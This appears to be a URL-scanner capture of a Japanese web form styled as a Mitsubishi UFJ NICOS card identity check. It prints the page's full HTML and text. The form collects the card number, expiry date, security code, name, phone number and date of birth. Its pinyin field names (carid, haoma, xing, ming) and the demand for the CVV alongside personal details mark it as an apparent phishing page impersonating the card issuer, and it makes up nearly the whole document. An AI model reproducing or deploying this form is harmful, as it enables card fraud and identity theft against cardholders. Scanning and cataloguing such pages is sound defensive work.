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Submission: On May 23 via manual from SG — Scanned from JP
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Form analysis
1 forms found in the DOMName: MainForm — POST #
<form action="#" name="MainForm" method="POST" onsubmit="return false;" id="f1">
<div class="mod-section-lv2 mt10">
<h2 class="mod-heading-lv2"><span>ご本人確認のための情報入力</span></h2>
<div class="mod-table-01 table-header-1col">
<table class="group">
<colgroup>
<col width="25%">
<col width="75%">
</colgroup>
<tbody>
<tr>
<th><span class="mod-text-must">必須</span>カード番号</th>
<td><!--error:err_iCARD_NO1:*-->
<span class="mod-text-mark-error"></span>
<input type="text" name="carid0" value="" pattern="[0-9]*" oninput="tiao();" id="carid" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
<span class="mod-text-mark">-</span>
<!--error:err_iCARD_NO2:*-->
<span class="mod-text-mark-error"></span>
<input type="text" name="carid1" value="" pattern="[0-9]*" oninput="tiao();" id="carid1" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
<span class="mod-text-mark">-</span>
<!--error:err_iCARD_NO3:*-->
<span class="mod-text-mark-error"></span>
<input type="text" name="carid2" value="" pattern="[0-9]*" oninput="tiao();" id="cari2" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
<span class="mod-text-mark">-</span>
<!--error:err_iCARD_NO4:*-->
<span class="mod-text-mark-error"></span>
<input type="text" name="carid3" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" id="cari3" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
<br> <span class="mod-text-example">例:1234-1234-1234-1234</span>
<div class="mod-normal-list-indent">
<ul>
<li><span class="mark">※</span>NICOSマークがついているクレジットカードが対象となります。 カード表面に印字されている16桁の数字を入力してください。法人カードは対象外ですので、ご了承ください。</li>
</ul>
</div>
</td>
</tr>
<tr>
<th><span class="mod-text-must">必須</span>有効期限</th>
<td>
<p>MONTH/YEAR</p>
<!--error:err_sEXPIRE_MM:*-->
<span class="mod-text-mark-error mod-text-mark-select"></span>
<div class="form-select width-80">
<select name="start_time" style="z-index: 10; opacity: 0;" class="select-class">
<option value=""></option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
<div class="select"><span></span></div>
<div class="select"><span class="xian"></span></div>
</div>
<span class="mod-text-mark-select">/</span>
<!--error:err_sEXPIRE_YY:*-->
<span class="mod-text-mark-error mod-text-mark-select"></span>
<div class="form-select width-80">
<select name="end_time" style="z-index: 10; opacity: 0;" class="select-class1">
<option value=""></option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="27">28</option>
<option value="27">29</option>
<option value="27">30</option>
<option value="27">31</option>
</select>
<div class="select"><span></span></div>
<div class="select"><span class="xian1"></span></div>
</div>
<div class="mod-normal-list-indent">
<ul>
<li><span class="mark">※</span>カード表面に表示されている有効期限を入力してください。</li>
</ul>
</div>
</td>
</tr>
<tr>
<th><span class="mod-text-must">必須</span>セキュリティコード</th>
<td>
<p>カード裏面サインパネル部分に印字されている右端3桁の数字(<span class="mod-text-em-red">*</span>)をご入力ください。<br> (<span class="mod-text-em-red">*</span>)下図の赤線部分</p>
<div class="mod-normal-list-indent">
<ul>
<li><span class="mark">※</span>セキュリティの確保のために、入力された番号はマスキングして表示します。</li>
</ul>
</div>
<!--error:err_iCVC2:*-->
<span class="mod-text-mark-error"></span>
<input type="password" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" name="haoma" value="" style="ime-mode: disabled" size="6" maxlength="4" class="form-text width-auto width-01">
<br> <span class="mod-text-example">例:123</span><br> <img src="./skin/static/file/img_card_02.gif" alt="カード裏面">
<div class="mod-normal-list-indent">
<ul>
<li><span class="mark">※</span>一部上部デザインと異なる場合があります。</li>
</ul>
</div>
</td>
</tr>
<tr>
<th><span class="mod-text-must">必須</span>お名前(カタカナ)</th>
<td><!--error:err_iNAME_KANA1:*-->
<span class="mod-text-mark-error"></span>
<span class="mod-text-mark">姓</span>
<input type="text" name="xing" value="" style="ime-mode: active" size="20" maxlength="17" class="form-text width-auto width-02">
<!--error:err_iNAME_KANA2:*-->
<span class="mod-text-mark-error"></span>
<span class="mod-text-mark">名</span>
<input type="text" name="ming" value="" style="ime-mode: active" size="20" maxlength="17" class="form-text width-auto width-02">
<span class="mod-text-supplement">(全角)</span>
</td>
</tr>
<tr>
<th><span class="mod-text-must">必須</span>カード名義人</th>
<td><!--error:err_iTEL_NO:*-->
<span class="mod-text-mark-error"></span>
<input type="text" name="yingwen_name" value="" style="ime-mode: disabled" size="15" maxlength="15" class="form-text width-auto">
<div class="mod-normal-list-indent">
<ul>
<li><span class="mark">※</span>半角ローマ字で入力</li>
</ul>
</div>
</td>
</tr>
<tr>
<th><span class="mod-text-must">必須</span>電話番号</th>
<td><!--error:err_iTEL_NO:*-->
<span class="mod-text-mark-error"></span>
<input type="text" pattern="[0-9]*" name="phone" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" style="ime-mode: disabled" size="15" maxlength="15" class="form-text width-auto">
<br> <span class="mod-text-example">例:03-1234-5678</span>
<div class="mod-normal-list-indent">
<ul>
<li><span class="mark">※</span>当社お届けの電話番号を市外局番から入力してください。</li>
</ul>
</div>
</td>
</tr>
<tr>
<th><span class="mod-text-must">必須</span>生年月日(西暦)</th>
<td><!--error:err_iBIRTH_YYYY:*-->
<span class="mod-text-mark-error"></span>
<input type="text" name="nian" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" style="ime-mode: disabled" size="8" maxlength="4" class="form-text width-auto width-01">
<span class="mod-text-mark">年</span>
<!--error:err_iBIRTH_MM:*-->
<span class="mod-text-mark-error"></span>
<input type="text" name="yue" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" style="ime-mode: disabled" size="8" maxlength="2" class="form-text width-auto width-01">
<span class="mod-text-mark">月</span>
<!--error:err_iBIRTH_DD:*-->
<span class="mod-text-mark-error"></span>
<input type="text" name="ri" pattern="[0-9]*" onkeyup="this.value=this.value.replace(/\D/g,'')" value="" style="ime-mode: disabled" size="8" maxlength="2" class="form-text width-auto width-01">
<span class="mod-text-mark">日</span><br> <span class="mod-text-example">例:西暦1976年2月6日の場合、1976年02月06日と入力してください。</span>
</td>
</tr>
</tbody>
</table>
</div><!-- /.mod-table-01 -->
<p>入力内容をご確認のうえ、【次へ】ボタンを押してください。<br>
</p>
<div class="mod-btn-list">
<ul>
<li><a href="JavaScript:doTransaction('XBP3PN03030010_01M',null,false,null,this.form,null,null);" class="mod-btn btn-form-primary-02" onclick="return _wacs_parameters['flag'] == 0;">次へ</a></li>
<li><a href="JavaScript:doTransaction('XBP3PN03030010_01M',null,false,null,this.form,null,null);" name="CLOSE" class="mod-btn btn-close-02">閉じる</a></li>
</ul> <div align="center">
<table border="0" cellpadding="0" cellspacing="0" align="center">
<tbody>
<tr>
<td valign="top">※</td>
<td>お客様のご利用環境によっては、【閉じる】ボタンが動作しない場合がございます。</td>
</tr>
<tr align="left">
<td> </td>
<td>ブラウザ上部の【×】ボタンより画面を閉じてください。</td>
</tr>
</tbody>
</table>
</div>
</div><!-- /.mod-btn-list -->
</div><!-- /.mod-section-lv2 -->
</form>
Text Content
JavaScriptを有効にしてご覧ください。 ご本人確認のための情報入力 必須カード番号 - - - 例:1234-1234-1234-1234 * ※NICOSマークがついているクレジットカードが対象となります。 カード表面に印字されている16桁の数字を入力してください。法人カードは対象外ですので、ご了承ください。 必須有効期限 MONTH/YEAR 01 02 03 04 05 06 07 08 09 10 11 12 / 22 23 24 25 26 27 28 29 30 31 * ※カード表面に表示されている有効期限を入力してください。 必須セキュリティコード カード裏面サインパネル部分に印字されている右端3桁の数字(*)をご入力ください。 (*)下図の赤線部分 * ※セキュリティの確保のために、入力された番号はマスキングして表示します。 例:123 * ※一部上部デザインと異なる場合があります。 必須お名前(カタカナ) 姓 名 (全角) 必須カード名義人 * ※半角ローマ字で入力 必須電話番号 例:03-1234-5678 * ※当社お届けの電話番号を市外局番から入力してください。 必須生年月日(西暦) 年 月 日 例:西暦1976年2月6日の場合、1976年02月06日と入力してください。 入力内容をご確認のうえ、【次へ】ボタンを押してください。 * 次へ * 閉じる ※ お客様のご利用環境によっては、【閉じる】ボタンが動作しない場合がございます。 ブラウザ上部の【×】ボタンより画面を閉じてください。 ページの先頭へ * プライバシーポリシー(別ウィンドウで開きます) * 個人情報保護法にもとづく公表事項(別ウィンドウで開きます) * ご利用にあたって(別ウィンドウで開きます) Copyright(C) Mitsubishi UFJ NICOS Co.,Ltd. All Rights Reserved.